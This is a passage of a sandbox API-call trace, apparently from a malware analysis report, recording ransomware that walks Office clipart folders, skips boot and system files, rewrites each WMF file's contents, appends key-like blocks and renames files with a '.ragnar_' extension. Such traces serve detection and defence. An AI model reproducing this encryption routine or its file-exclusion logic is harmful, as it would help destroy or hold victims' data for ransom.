lpOverlapped=0x0) returned 1 [0088.572] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.572] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.572] GetProcessHeap () returned 0x580000 [0088.572] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.572] CloseHandle (hObject=0xf4) returned 1 [0088.572] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF" [0088.572] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF.ragnar_FD7BD9FC" [0088.572] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.573] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc0f000, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecc0f000, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00806_.WMF", cAlternateFileName="")) returned 1 [0088.573] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.573] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00806_.WMF" | out: lpString1="NA00806_.WMF") returned="NA00806_.WMF" [0088.573] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF") returned=".WMF" [0088.573] lstrcmpiW (lpString1="NA00806_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.573] lstrcmpiW (lpString1="NA00806_.WMF", lpString2="autorun.inf") returned 1 [0088.573] lstrcmpiW (lpString1="NA00806_.WMF", lpString2="boot.ini") returned 1 [0088.573] lstrcmpiW (lpString1="NA00806_.WMF", lpString2="bootfont.bin") returned 1 [0088.573] lstrcmpiW (lpString1="NA00806_.WMF", lpString2="bootsect.bak") returned 1 [0088.573] lstrcmpiW (lpString1="NA00806_.WMF", lpString2="bootmgr") returned 1 [0088.573] lstrcmpiW (lpString1="NA00806_.WMF", lpString2="bootmgr.efi") returned 1 [0088.573] lstrcmpiW (lpString1="NA00806_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.573] lstrcmpiW (lpString1="NA00806_.WMF", lpString2="desktop.ini") returned 1 [0088.573] lstrcmpiW (lpString1="NA00806_.WMF", lpString2="iconcache.db") returned 1 [0088.573] lstrcmpiW (lpString1="NA00806_.WMF", lpString2="ntldr") returned -1 [0088.573] lstrcmpiW (lpString1="NA00806_.WMF", lpString2="ntuser.dat") returned -1 [0088.573] lstrcmpiW (lpString1="NA00806_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.573] lstrcmpiW (lpString1="NA00806_.WMF", lpString2="ntuser.ini") returned -1 [0088.573] lstrcmpiW (lpString1="NA00806_.WMF", lpString2="thumbs.db") returned -1 [0088.573] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.573] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.573] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.573] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.573] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.573] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.573] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf")) returned 0x20 [0088.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.574] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1928) returned 1 [0088.574] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x77f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.574] GetProcessHeap () returned 0x580000 [0088.574] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.574] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.575] VirtualAlloc (lpAddress=0x0, dwSize=0x788, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.576] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.576] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.576] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x788, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x788, lpOverlapped=0x0) returned 1 [0088.576] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.576] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x788, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.576] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x788, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x788, lpOverlapped=0x0) returned 1 [0088.576] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x788, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.576] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.576] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x788, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.576] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.576] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.576] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.576] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.577] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.577] GetProcessHeap () returned 0x580000 [0088.577] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.577] CloseHandle (hObject=0xf4) returned 1 [0088.577] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF" [0088.577] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF.ragnar_FD7BD9FC" [0088.577] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.577] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb8fc300, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb8fc300, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0xba4, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00807_.WMF", cAlternateFileName="")) returned 1 [0088.578] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.578] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00807_.WMF" | out: lpString1="NA00807_.WMF") returned="NA00807_.WMF" [0088.578] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF") returned=".WMF" [0088.578] lstrcmpiW (lpString1="NA00807_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.578] lstrcmpiW (lpString1="NA00807_.WMF", lpString2="autorun.inf") returned 1 [0088.578] lstrcmpiW (lpString1="NA00807_.WMF", lpString2="boot.ini") returned 1 [0088.578] lstrcmpiW (lpString1="NA00807_.WMF", lpString2="bootfont.bin") returned 1 [0088.578] lstrcmpiW (lpString1="NA00807_.WMF", lpString2="bootsect.bak") returned 1 [0088.578] lstrcmpiW (lpString1="NA00807_.WMF", lpString2="bootmgr") returned 1 [0088.578] lstrcmpiW (lpString1="NA00807_.WMF", lpString2="bootmgr.efi") returned 1 [0088.578] lstrcmpiW (lpString1="NA00807_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.578] lstrcmpiW (lpString1="NA00807_.WMF", lpString2="desktop.ini") returned 1 [0088.578] lstrcmpiW (lpString1="NA00807_.WMF", lpString2="iconcache.db") returned 1 [0088.578] lstrcmpiW (lpString1="NA00807_.WMF", lpString2="ntldr") returned -1 [0088.578] lstrcmpiW (lpString1="NA00807_.WMF", lpString2="ntuser.dat") returned -1 [0088.578] lstrcmpiW (lpString1="NA00807_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.578] lstrcmpiW (lpString1="NA00807_.WMF", lpString2="ntuser.ini") returned -1 [0088.578] lstrcmpiW (lpString1="NA00807_.WMF", lpString2="thumbs.db") returned -1 [0088.578] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.578] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.578] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.578] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.578] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.578] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.578] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf")) returned 0x20 [0088.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.579] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2980) returned 1 [0088.579] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb9b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.579] GetProcessHeap () returned 0x580000 [0088.579] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.579] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.580] VirtualAlloc (lpAddress=0x0, dwSize=0xba4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.581] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.581] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.581] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xba4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xba4, lpOverlapped=0x0) returned 1 [0088.581] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.581] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xba4, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.581] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xba4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xba4, lpOverlapped=0x0) returned 1 [0088.581] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xba4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.581] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.581] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.581] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.581] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.581] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.581] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.582] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.582] GetProcessHeap () returned 0x580000 [0088.582] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.582] CloseHandle (hObject=0xf4) returned 1 [0088.582] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF" [0088.582] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF.ragnar_FD7BD9FC" [0088.582] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.582] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bce0800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7bce0800, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00808_.WMF", cAlternateFileName="")) returned 1 [0088.582] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.582] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00808_.WMF" | out: lpString1="NA00808_.WMF") returned="NA00808_.WMF" [0088.582] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF") returned=".WMF" [0088.583] lstrcmpiW (lpString1="NA00808_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.583] lstrcmpiW (lpString1="NA00808_.WMF", lpString2="autorun.inf") returned 1 [0088.583] lstrcmpiW (lpString1="NA00808_.WMF", lpString2="boot.ini") returned 1 [0088.583] lstrcmpiW (lpString1="NA00808_.WMF", lpString2="bootfont.bin") returned 1 [0088.583] lstrcmpiW (lpString1="NA00808_.WMF", lpString2="bootsect.bak") returned 1 [0088.583] lstrcmpiW (lpString1="NA00808_.WMF", lpString2="bootmgr") returned 1 [0088.583] lstrcmpiW (lpString1="NA00808_.WMF", lpString2="bootmgr.efi") returned 1 [0088.583] lstrcmpiW (lpString1="NA00808_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.583] lstrcmpiW (lpString1="NA00808_.WMF", lpString2="desktop.ini") returned 1 [0088.583] lstrcmpiW (lpString1="NA00808_.WMF", lpString2="iconcache.db") returned 1 [0088.583] lstrcmpiW (lpString1="NA00808_.WMF", lpString2="ntldr") returned -1 [0088.583] lstrcmpiW (lpString1="NA00808_.WMF", lpString2="ntuser.dat") returned -1 [0088.583] lstrcmpiW (lpString1="NA00808_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.583] lstrcmpiW (lpString1="NA00808_.WMF", lpString2="ntuser.ini") returned -1 [0088.583] lstrcmpiW (lpString1="NA00808_.WMF", lpString2="thumbs.db") returned -1 [0088.583] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.583] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.583] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.583] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.583] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.583] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.583] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf")) returned 0x20 [0088.584] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.584] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1300) returned 1 [0088.584] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x50b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.584] GetProcessHeap () returned 0x580000 [0088.584] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.584] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.586] VirtualAlloc (lpAddress=0x0, dwSize=0x514, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.586] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.586] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.586] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x514, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x514, lpOverlapped=0x0) returned 1 [0088.586] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.586] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x514, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.586] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x514, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x514, lpOverlapped=0x0) returned 1 [0088.586] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x514, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.586] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.587] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.587] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.587] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.587] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.587] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.587] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.587] GetProcessHeap () returned 0x580000 [0088.587] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.587] CloseHandle (hObject=0xf4) returned 1 [0088.587] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft 